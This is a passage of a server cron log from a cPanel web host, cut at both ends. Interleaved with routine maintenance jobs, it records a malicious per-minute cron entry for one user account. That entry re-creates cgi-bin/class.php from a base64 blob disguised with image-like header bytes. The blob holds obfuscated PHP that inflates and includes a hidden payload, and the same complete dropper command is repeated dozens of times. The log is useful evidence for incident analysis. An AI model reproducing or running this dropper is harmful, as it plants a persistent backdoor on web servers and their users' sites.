JHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:57:01 server CROND[17711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:58:01 server CROND[18091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:58:01 server CROND[18092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:58:01 server CROND[18093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:59:01 server CROND[18479]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  6 02:59:01 server CROND[18480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:59:01 server CROND[18481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:59:01 server CROND[18482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:00:01 server CROND[18923]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 03:00:01 server CROND[18925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:00:01 server CROND[18927]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 03:00:01 server CROND[18934]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 03:00:01 server CROND[18936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:00:01 server CROND[18937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:00:01 server CROND[18942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:00:01 server CROND[18943]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 03:00:01 server CROND[18944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:01:01 server CROND[19794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:01:01 server CROND[19795]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 03:01:01 server CROND[19797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:01:01 server CROND[19796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:01:01 server run-parts(/etc/cron.hourly)[19795]: starting 0anacron
Sep  6 03:01:01 server anacron[19815]: Anacron started on 2026-09-06
Sep  6 03:01:01 server anacron[19815]: Will run job `cron.daily' in 15 min.
Sep  6 03:01:01 server anacron[19815]: Jobs will be executed sequentially
Sep  6 03:01:01 server run-parts(/etc/cron.hourly)[19819]: finished 0anacron
Sep  6 03:02:01 server CROND[20444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:02:01 server CROND[20445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:02:01 server CROND[20443]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:03:01 server CROND[20845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:03:01 server CROND[20846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:03:01 server CROND[20847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:04:01 server CROND[21236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:04:01 server CROND[21235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:04:01 server CROND[21237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:05:01 server CROND[21633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:05:01 server CROND[21639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:05:01 server CROND[21642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:05:01 server CROND[21643]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 03:05:01 server CROND[21646]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 03:05:01 server CROND[21644]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 03:05:01 server CROND[21648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:05:01 server CROND[21645]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:06:01 server CROND[22558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:06:01 server CROND[22559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:06:01 server CROND[22560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:07:01 server CROND[23213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:07:01 server CROND[23215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:07:01 server CROND[23214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:08:01 server CROND[23594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:08:01 server CROND[23595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:08:01 server CROND[23596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:09:01 server CROND[23974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:09:01 server CROND[23973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0